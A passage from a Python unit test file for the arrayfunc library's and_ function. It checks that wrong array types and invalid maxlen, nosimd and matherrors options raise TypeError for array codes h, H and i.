with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, self.inparray2b, self.dataout, maxlen='a')
########################################################
def test_and__array_array_array_f2(self):
"""Test and_ as *array-array-array* for matherrors=True (unsupported option) - Array code h.
"""
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, self.inparray2a, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, self.inparray2b, self.dataout, matherrors=True)
##############################################################################
##############################################################################
class and__opt_nosimd_param_errors_h(unittest.TestCase):
"""Test and_ for invalid nosimd parameter.
param_invalid_opt_nosimd_template
"""
########################################################
def setUp(self):
"""Initialise.
"""
self.inpdata1a = [100,101,102,103,104,105,106,107,108,109]
self.inpdata2a = [x for (x,y) in zip(itertools.cycle([0,1,2,3,4,5]), self.inpdata1a)]
arraysize = len(self.inpdata1a)
self.outpdata = itertools.repeat(0, arraysize)
self.inparray1a = array.array('h', self.inpdata1a)
self.inparray2a = array.array('h', self.inpdata2a)
self.dataout = array.array('h', self.outpdata)
self.inparray1b = copy.copy(self.inparray1a)
self.inparray2b = copy.copy(self.inparray2a)
########################################################
def test_and__array_num_none_a1(self):
"""Test and_ as *array-num-none* for nosimd='a' - Array code h.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, inpvalue, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, inpvalue, nosimd='a')
########################################################
def test_and__array_num_array_b1(self):
"""Test and_ as *array-num-array* for nosimd='a' - Array code h.
"""
# Copy the array so we don't change the original data.
inpvalue = self.inparray2a[0]
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, inpvalue, self.dataout, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, inpvalue, self.dataout, nosimd='a')
########################################################
def test_and__num_array_none_c1(self):
"""Test and_ as *num-array-none* for nosimd='a' - Array code h.
"""
inpvalue = self.inparray1a[0]
# This version is expected to pass.
arrayfunc.and_(inpvalue, self.inparray2a, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(inpvalue, self.inparray2b, nosimd='a')
########################################################
def test_and__num_array_array_d1(self):
"""Test and_ as *num-array-array* for nosimd='a' - Array code h.
"""
inpvalue = self.inparray1a[0]
# This version is expected to pass.
arrayfunc.and_(inpvalue, self.inparray2a, self.dataout, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(inpvalue, self.inparray2b, self.dataout, nosimd='a')
########################################################
def test_and__array_array_none_e1(self):
"""Test and_ as *array-array-none* for nosimd='a' - Array code h.
"""
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, self.inparray2a, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, self.inparray2b, nosimd='a')
########################################################
def test_and__array_array_array_f1(self):
"""Test and_ as *array-array-array* for nosimd='a' - Array code h.
"""
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, self.inparray2a, self.dataout, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, self.inparray2b, self.dataout, nosimd='a')
##############################################################################
##############################################################################
class and__param_errors_H(unittest.TestCase):
"""Test and_ for invalid array and numeric parameters.
param_invalid_template
"""
########################################################
def setUp(self):
"""Initialise.
"""
testdata1 = [100,101,102,103,104,105,106,107,108,109]
testdata2 = [x for (x,y) in zip(itertools.cycle([0,1,2,3,4,5]), testdata1)]
arraysize = len(testdata1)
self.testarray1 = array.array('H', testdata1)
self.testarray2 = array.array('H', testdata2)
self.dataout = array.array('H', itertools.repeat(0, arraysize))
# Create some data array equivalents with an incompatible type.
self.badarray1 = array.array('d', [float(x) for x in testdata1])
self.badarray2 = array.array('d', [float(x) for x in testdata2])
self.baddataout = array.array('d', [float(x) for x in self.dataout])
########################################################
def test_and__array_num_none_a1(self):
"""Test and_ as *array-num-none* for invalid type of array - Array code H.
"""
for testvalue in self.testarray2:
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# Copy the array so we don't change the original data.
testarray1 = copy.copy(self.testarray1)
badarray1 = copy.copy(self.badarray1)
# This version is expected to pass.
arrayfunc.and_(testarray1, testvalue)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(badarray1, testvalue)
########################################################
def test_and__array_num_none_a2(self):
"""Test and_ as *array-num-none* for invalid type of number - Array code H.
"""
for testvalue, badvalue in zip(self.testarray2, self.badarray2):
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# Copy the array so we don't change the original data.
testarray1 = copy.copy(self.testarray1)
# This version is expected to pass.
arrayfunc.and_(testarray1, testvalue)
testarray1 = copy.copy(self.testarray1)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(testarray1, badvalue)
########################################################
def test_and__array_num_array_b1(self):
"""Test and_ as *array-num-array* for invalid type of array - Array code H.
"""
for testvalue in self.testarray2:
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# Copy the array so we don't change the original data.
testarray1 = copy.copy(self.testarray1)
badarray1 = copy.copy(self.badarray1)
# This version is expected to pass.
arrayfunc.and_(testarray1, testvalue, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(badarray1, testvalue, self.dataout)
########################################################
def test_and__array_num_array_b2(self):
"""Test and_ as *array-num-array* for invalid type of number - Array code H.
"""
for testvalue, badvalue in zip(self.testarray2, self.badarray2):
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# Copy the array so we don't change the original data.
badarray1 = copy.copy(self.badarray1)
# This version is expected to pass.
arrayfunc.and_(self.testarray1, testvalue, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.testarray1, badvalue, self.dataout)
########################################################
def test_and__array_num_array_b3(self):
"""Test and_ as *array-num-array* for invalid type of output array - Array code H.
"""
for testvalue in self.testarray2:
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# Copy the array so we don't change the original data.
testarray1 = copy.copy(self.testarray1)
# This version is expected to pass.
arrayfunc.and_(testarray1, testvalue, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(testarray1, testvalue, self.baddataout)
########################################################
def test_and__num_array_none_c1(self):
"""Test and_ as *num-array-none* for invalid type of array - Array code H.
"""
for testvalue in self.testarray1:
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# Copy the array so we don't change the original data.
testarray2 = copy.copy(self.testarray2)
badarray2 = copy.copy(self.badarray2)
# This version is expected to pass.
arrayfunc.and_(testvalue, testarray2)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(testvalue, badarray2)
########################################################
def test_and__num_array_none_c2(self):
"""Test and_ as *num-array-none* for invalid type of number - Array code H.
"""
for testvalue, badvalue in zip(self.testarray1, self.badarray1):
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# Copy the array so we don't change the original data.
testarray2 = copy.copy(self.testarray2)
# This version is expected to pass.
arrayfunc.and_(testvalue, testarray2)
testarray2 = copy.copy(self.testarray2)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(badvalue, testarray2)
########################################################
def test_and__num_array_array_d1(self):
"""Test and_ as *num-array-array* for invalid type of array - Array code H.
"""
for testvalue in self.testarray1:
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# This version is expected to pass.
arrayfunc.and_(testvalue, self.testarray2, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(testvalue, self.badarray2, self.dataout)
########################################################
def test_and__num_array_array_d2(self):
"""Test and_ as *num-array-array* for invalid type of number - Array code H.
"""
for testvalue in self.testarray1:
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# This version is expected to pass.
arrayfunc.and_(testvalue, self.testarray2, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(testvalue, self.badarray2, self.dataout)
########################################################
def test_and__num_array_array_d3(self):
"""Test and_ as *num-array-array* for invalid type of output array - Array code H.
"""
for testvalue in self.testarray1:
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# This version is expected to pass.
arrayfunc.and_(testvalue, self.testarray2, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(testvalue, self.testarray2, self.baddataout)
########################################################
def test_and__array_array_none_e1(self):
"""Test and_ as *array-array-none* for invalid type of array - Array code H.
"""
# Copy the array so we don't change the original data.
testarray1 = copy.copy(self.testarray1)
# This version is expected to pass.
arrayfunc.and_(testarray1, self.testarray2)
# Copy the array so we don't change the original data.
testarray1 = copy.copy(self.testarray1)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(testarray1, self.badarray2)
########################################################
def test_and__array_array_none_e2(self):
"""Test and_ as *array-array-none* for invalid type of array - Array code H.
"""
# This version is expected to pass.
arrayfunc.and_(self.testarray1, self.testarray2)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.badarray1, self.testarray2)
########################################################
def test_and__array_array_array_f1(self):
"""Test and_ as *array-array-array* for invalid type of array - Array code H.
"""
# This version is expected to pass.
arrayfunc.and_(self.testarray1, self.testarray2, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.testarray1, self.badarray2, self.dataout)
########################################################
def test_and__array_array_array_f2(self):
"""Test and_ as *array-array-array* for invalid type of array - Array code H.
"""
# This version is expected to pass.
arrayfunc.and_(self.testarray1, self.testarray2, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.badarray1, self.testarray2, self.dataout)
########################################################
def test_and__array_array_array_f3(self):
"""Test and_ as *array-array-array* for invalid type of output array - Array code H.
"""
# This version is expected to pass.
arrayfunc.and_(self.testarray1, self.testarray2, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.testarray1, self.testarray2, self.baddataout)
########################################################
def test_and__no_params_g1(self):
"""Test and_ with no parameters - Array code H.
"""
with self.assertRaises(TypeError):
arrayfunc.and_()
##############################################################################
##############################################################################
class and__opt_param_errors_H(unittest.TestCase):
"""Test and_ for invalid maxlen parameter.
param_invalid_opt_template
"""
########################################################
def setUp(self):
"""Initialise.
"""
self.inpdata1a = [100,101,102,103,104,105,106,107,108,109 ]
self.inpdata2a = [x for (x,y) in zip(itertools.cycle([0,1,2,3,4,5]), self.inpdata1a)]
arraysize = len(self.inpdata1a)
self.testmaxlen = len(self.inpdata1a) // 2
self.outpdata = itertools.repeat(0, arraysize)
self.inparray1a = array.array('H', self.inpdata1a)
self.inparray2a = array.array('H', self.inpdata2a)
self.dataout = array.array('H', self.outpdata)
self.inparray1b = copy.copy(self.inparray1a)
self.inparray2b = copy.copy(self.inparray2a)
########################################################
def test_and__array_num_none_a1(self):
"""Test and_ as *array-num-none* for maxlen='a' - Array code H.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, inpvalue, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, inpvalue, maxlen='a')
########################################################
def test_and__array_num_none_a2(self):
"""Test and_ as *array-num-none* for matherrors=True (unsupported option) - Array code H.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, inpvalue)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, inpvalue, matherrors=True)
########################################################
def test_and__array_num_array_b1(self):
"""Test and_ as *array-num-array* for maxlen='a' - Array code H.
"""
# Copy the array so we don't change the original data.
inpvalue = self.inparray2a[0]
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, inpvalue, self.dataout, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, inpvalue, self.dataout, maxlen='a')
########################################################
def test_and__array_num_array_b2(self):
"""Test and_ as *array-num-array* for matherrors=True (unsupported option) - Array code H.
"""
# Copy the array so we don't change the original data.
inpvalue = self.inparray2a[0]
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, inpvalue, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, inpvalue, self.dataout, matherrors=True)
########################################################
def test_and__num_array_none_c1(self):
"""Test and_ as *num-array-none* for maxlen='a' - Array code H.
"""
inpvalue = self.inparray1a[0]
# This version is expected to pass.
arrayfunc.and_(inpvalue, self.inparray2a, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(inpvalue, self.inparray2b, maxlen='a')
########################################################
def test_and__num_array_none_c2(self):
"""Test and_ as *num-array-none* for matherrors=True (unsupported option) - Array code H.
"""
inpvalue = self.inparray1a[0]
# This version is expected to pass.
arrayfunc.and_(inpvalue, self.inparray2a)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(inpvalue, self.inparray2b, matherrors=True)
########################################################
def test_and__num_array_array_d1(self):
"""Test and_ as *num-array-array* for maxlen='a' - Array code H.
"""
inpvalue = self.inparray1a[0]
# This version is expected to pass.
arrayfunc.and_(inpvalue, self.inparray2a, self.dataout, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(inpvalue, self.inparray2b, self.dataout, maxlen='a')
########################################################
def test_and__num_array_array_d2(self):
"""Test and_ as *num-array-array* for matherrors=True (unsupported option) - Array code H.
"""
inpvalue = self.inparray1a[0]
# This version is expected to pass.
arrayfunc.and_(inpvalue, self.inparray2a, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(inpvalue, self.inparray2b, self.dataout, matherrors=True)
########################################################
def test_and__array_array_none_e1(self):
"""Test and_ as *array-array-none* for maxlen='a' - Array code H.
"""
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, self.inparray2a, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, self.inparray2b, maxlen='a')
########################################################
def test_and__array_array_none_e2(self):
"""Test and_ as *array-array-none* for matherrors=True (unsupported option) - Array code H.
"""
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, self.inparray2a)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, self.inparray2b, matherrors=True)
########################################################
def test_and__array_array_array_f1(self):
"""Test and_ as *array-array-array* for maxlen='a' - Array code H.
"""
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, self.inparray2a, self.dataout, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, self.inparray2b, self.dataout, maxlen='a')
########################################################
def test_and__array_array_array_f2(self):
"""Test and_ as *array-array-array* for matherrors=True (unsupported option) - Array code H.
"""
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, self.inparray2a, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, self.inparray2b, self.dataout, matherrors=True)
##############################################################################
##############################################################################
class and__opt_nosimd_param_errors_H(unittest.TestCase):
"""Test and_ for invalid nosimd parameter.
param_invalid_opt_nosimd_template
"""
########################################################
def setUp(self):
"""Initialise.
"""
self.inpdata1a = [100,101,102,103,104,105,106,107,108,109]
self.inpdata2a = [x for (x,y) in zip(itertools.cycle([0,1,2,3,4,5]), self.inpdata1a)]
arraysize = len(self.inpdata1a)
self.outpdata = itertools.repeat(0, arraysize)
self.inparray1a = array.array('H', self.inpdata1a)
self.inparray2a = array.array('H', self.inpdata2a)
self.dataout = array.array('H', self.outpdata)
self.inparray1b = copy.copy(self.inparray1a)
self.inparray2b = copy.copy(self.inparray2a)
########################################################
def test_and__array_num_none_a1(self):
"""Test and_ as *array-num-none* for nosimd='a' - Array code H.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, inpvalue, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, inpvalue, nosimd='a')
########################################################
def test_and__array_num_array_b1(self):
"""Test and_ as *array-num-array* for nosimd='a' - Array code H.
"""
# Copy the array so we don't change the original data.
inpvalue = self.inparray2a[0]
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, inpvalue, self.dataout, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, inpvalue, self.dataout, nosimd='a')
########################################################
def test_and__num_array_none_c1(self):
"""Test and_ as *num-array-none* for nosimd='a' - Array code H.
"""
inpvalue = self.inparray1a[0]
# This version is expected to pass.
arrayfunc.and_(inpvalue, self.inparray2a, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(inpvalue, self.inparray2b, nosimd='a')
########################################################
def test_and__num_array_array_d1(self):
"""Test and_ as *num-array-array* for nosimd='a' - Array code H.
"""
inpvalue = self.inparray1a[0]
# This version is expected to pass.
arrayfunc.and_(inpvalue, self.inparray2a, self.dataout, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(inpvalue, self.inparray2b, self.dataout, nosimd='a')
########################################################
def test_and__array_array_none_e1(self):
"""Test and_ as *array-array-none* for nosimd='a' - Array code H.
"""
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, self.inparray2a, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, self.inparray2b, nosimd='a')
########################################################
def test_and__array_array_array_f1(self):
"""Test and_ as *array-array-array* for nosimd='a' - Array code H.
"""
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, self.inparray2a, self.dataout, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, self.inparray2b, self.dataout, nosimd='a')
##############################################################################
##############################################################################
class and__param_errors_i(unittest.TestCase):
"""Test and_ for invalid array and numeric parameters.
param_invalid_template
"""
########################################################
def setUp(self):
"""Initialise.
"""
testdata1 = [100,101,102,103,104,105,106,107,108,109]
testdata2 = [x for (x,y) in zip(itertools.cycle([0,1,2,3,4,5]), testdata1)]
arraysize = len(testdata1)
self.testarray1 = array.array('i', testdata1)
self.testarray2 = array.array('i', testdata2)
self.dataout = array.array('i', itertools.repeat(0, arraysize))
# Create some data array equivalents with an incompatible type.
self.badarray1 = array.array('d', [float(x) for x in testdata1])
self.badarray2 = array.array('d', [float(x) for x in testdata2])
self.baddataout = array.array('d', [float(x) for x in self.dataout])
########################################################
def test_and__array_num_none_a1(self):
"""Test and_ as *array-num-none* for invalid type of array - Array code i.
"""
for testvalue in self.testarray2:
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# Copy the array so we don't change the original data.
testarray1 = copy.copy(self.testarray1)
badarray1 = copy.copy(self.badarray1)
# This version is expected to pass.
arrayfunc.and_(testarray1, testvalue)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(badarray1, testvalue)
########################################################
def test_and__array_num_none_a2(self):
"""Test and_ as *array-num-none* for invalid type of number - Array code i.
"""
for testvalue, badvalue in zip(self.testarray2, self.badarray2):
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# Copy the array so we don't change the original data.
testarray1 = copy.copy(self.testarray1)
# This version is expected to pass.
arrayfunc.and_(testarray1, testvalue)
testarray1 = copy.copy(self.testarray1)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(testarray1, badvalue)
########################################################
def test_and__array_num_array_b1(self):
"""Test and_ as *array-num-array* for invalid type of array - Array code i.
"""
for testvalue in self.testarray2:
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# Copy the array so we don't change the original data.
testarray1 = copy.copy(self.testarray1)
badarray1 = copy.copy(self.badarray1)
# This version is expected to pass.
arrayfunc.and_(testarray1, testvalue, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(badarray1, testvalue, self.dataout)
########################################################
def test_and__array_num_array_b2(self):
"""Test and_ as *array-num-array* for invalid type of number - Array code i.
"""
for testvalue, badvalue in zip(self.testarray2, self.badarray2):
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# Copy the array so we don't change the original data.
badarray1 = copy.copy(self.badarray1)
# This version is expected to pass.
arrayfunc.and_(self.testarray1, testvalue, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.testarray1, badvalue, self.dataout)
########################################################
def test_and__array_num_array_b3(self):
"""Test and_ as *array-num-array* for invalid type of output array - Array code i.
"""
for testvalue in self.testarray2:
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# Copy the array so we don't change the original data.
testarray1 = copy.copy(self.testarray1)
# This version is expected to pass.
arrayfunc.and_(testarray1, testvalue, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(testarray1, testvalue, self.baddataout)
########################################################
def test_and__num_array_none_c1(self):
"""Test and_ as *num-array-none* for invalid type of array - Array code i.
"""
for testvalue in self.testarray1:
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# Copy the array so we don't change the original data.
testarray2 = copy.copy(self.testarray2)
badarray2 = copy.copy(self.badarray2)
# This version is expected to pass.
arrayfunc.and_(testvalue, testarray2)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(testvalue, badarray2)
########################################################
def test_and__num_array_none_c2(self):
"""Test and_ as *num-array-none* for invalid type of number - Array code i.
"""
for testvalue, badvalue in zip(self.testarray1, self.badarray1):
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# Copy the array so we don't change the original data.
testarray2 = copy.copy(self.testarray2)
# This version is expected to pass.
arrayfunc.and_(testvalue, testarray2)
testarray2 = copy.copy(self.testarray2)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(badvalue, testarray2)
########################################################
def test_and__num_array_array_d1(self):
"""Test and_ as *num-array-array* for invalid type of array - Array code i.
"""
for testvalue in self.testarray1:
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# This version is expected to pass.
arrayfunc.and_(testvalue, self.testarray2, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(testvalue, self.badarray2, self.dataout)
########################################################
def test_and__num_array_array_d2(self):
"""Test and_ as *num-array-array* for invalid type of number - Array code i.
"""
for testvalue in self.testarray1:
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# This version is expected to pass.
arrayfunc.and_(testvalue, self.testarray2, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(testvalue, self.badarray2, self.dataout)
########################################################
def test_and__num_array_array_d3(self):
"""Test and_ as *num-array-array* for invalid type of output array - Array code i.
"""
for testvalue in self.testarray1:
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# This version is expected to pass.
arrayfunc.and_(testvalue, self.testarray2, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(testvalue, self.testarray2, self.baddataout)
########################################################
def test_and__array_array_none_e1(self):
"""Test and_ as *array-array-none* for invalid type of array - Array code i.
"""
# Copy the array so we don't change the original data.
testarray1 = copy.copy(self.testarray1)
# This version is expected to pass.
arrayfunc.and_(testarray1, self.testarray2)
# Copy the array so we don't change the original data.
testarray1 = copy.copy(self.testarray1)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(testarray1, self.badarray2)
########################################################
def test_and__array_array_none_e2(self):
"""Test and_ as *array-array-none* for invalid type of array - Array code i.
"""
# This version is expected to pass.
arrayfunc.and_(self.testarray1, self.testarray2)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.badarray1, self.testarray2)
########################################################
def test_and__array_array_array_f1(self):
"""Test and_ as *array-array-array* for invalid type of array - Array code i.
"""
# This version is expected to pass.
arrayfunc.and_(self.testarray1, self.testarray2, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.testarray1, self.badarray2, self.dataout)
########################################################
def test_and__array_array_array_f2(self):
"""Test and_ as *array-array-array* for invalid type of array - Array code i.
"""
# This version is expected to pass.
arrayfunc.and_(self.testarray1, self.testarray2, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.badarray1, self.testarray2, self.dataout)
########################################################
def test_and__array_array_array_f3(self):
"""Test and_ as *array-array-array* for invalid type of output array - Array code i.
"""
# This version is expected to pass.
arrayfunc.and_(self.testarray1, self.testarray2, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.testarray1, self.testarray2, self.baddataout)
########################################################
def test_and__no_params_g1(self):
"""Test and_ with no parameters - Array code i.
"""
with self.assertRaises(TypeError):
arrayfunc.and_()
##############################################################################
##############################################################################
class and__opt_param_errors_i(unittest.TestCase):
"""Test and_ for invalid maxlen parameter.
param_invalid_opt_template
"""
########################################################
def setUp(self):
"""Initialise.
"""
self.inpdata1a = [100,101,102,103,104,105,106,107,108,109 ]
self.inpdata2a = [x for (x,y) in zip(itertools.cycle([0,1,2,3,4,5]), self.inpdata1a)]
arraysize = len(self.inpdata1a)
self.testmaxlen = len(self.inpdata1a) // 2
self.outpdata = itertools.repeat(0, arraysize)
self.inparray1a = array.array('i', self.inpdata1a)
self.inparray2a = array.array('i', self.inpdata2a)
self.dataout = array.array('i', self.outpdata)
self.inparray1b = copy.copy(self.inparray1a)
self.inparray2b = copy.copy(self.inparray2a)
########################################################
def test_and__array_num_none_a1(self):
"""Test and_ as *array-num-none* for maxlen='a' - Array code i.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, inpvalue, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, inpvalue, maxlen='a')
########################################################
def test_and__array_num_none_a2(self):
"""Test and_ as *array-num-none* for matherrors=True (unsupported option) - Array code i.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, inpvalue)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, inpvalue, matherrors=True)
########################################################
def test_and__array_num_array_b1(self):
"""Test and_ as *array-num-array* for maxlen='a' - Array code i.
"""
# Copy the array so we don't change the original data.
inpvalue = self.inparray2a[0]
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, inpvalue, self.dataout, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, inpvalue, self.dataout, maxlen='a')
########################################################
def test_and__array_num_array_b2(self):
"""Test and_ as *array-num-array* for matherrors=True (unsupported option) - Array code i.
"""
# Copy the array so we don't change the original data.
inpvalue = self.inparray2a[0]
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, inpvalue, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, inpvalue, self.dataout, matherrors=True)
########################################################
def test_and__num_array_none_c1(self):
"""Test and_ as *num-array-none* for maxlen='a' - Array code i.
"""
inpvalue = self.inparray1a[0]
# This version is expected to pass.
arrayfunc.and_(inpvalue, self.inparray2a, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(inpvalue, self.inparray2b, maxlen='a')
########################################################
def test_and__num_array_none_c2(self):
"""Test and_ as *num-array-none* for matherrors=True (unsupported option) - Array code i.
"""
inpvalue = self.inparray1a[0]
# This version is expected to pass.
arrayfunc.and_(inpvalue, self.inparray2a)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(inpvalue, self.inparray2b, matherrors=True)
########################################################
def test_and__num_array_array_d1(self):
"""Test and_ as *num-array-array* for maxlen='a' - Array code i.
"""
inpvalue = self.inparray1a[0]
# This version is expected to pass.
arrayfunc.and_(inpvalue, self.inparray2a, self.dataout, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(inpvalue, self.inparray2b, self.dataout, maxlen='a')
########################################################
def test_and__num_array_array_d2(self):
"""Test and_ as *num-array-array* for matherrors=True (unsupported option) - Array code i.
"""
inpvalue = self.inparray1a[0]
# This version is expected to pass.
arrayfunc.and_(inpvalue, self.inparray2a, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(inpvalue, self.inparray2b, self.dataout, matherrors=True)
########################################################
def test_and__array_array_none_e1(self):
"""Test and_ as *array-array-none* for maxlen='a' - Array code i.
"""
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, self.inparray2a, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, self.inparray2b, maxlen='a')
########################################################
def test_and__array_array_none_e2(self):
"""Test and_ as *array-array-none* for matherrors=True (unsupported option) - Array code i.
"""
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, self.inparray2a)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, self.inparray2b, matherrors=True)
########################################################
def test_and__array_array_array_f1(self):
"""Test and_ as *array-array-array* for maxlen='a' - Array code i.
"""
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, self.inparray2a, self.dataout, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, self.inparray2b, self.dataout, maxlen='a')
########################################################
def test_and__array_array_array_f2(self):
"""Test and_ as *array-array-array* for matherrors=True (unsupported option) - Array code i.
"""
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, self.inparray2a, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, self.inparray2b, self.dataout, matherrors=True)
##############################################################################
##############################################################################
class and__opt_nosimd_param_errors_i(unittest.TestCase):
"""Test and_ for invalid nosimd parameter.
param_invalid_opt_nosimd_template
"""
########################################################
def setUp(self):
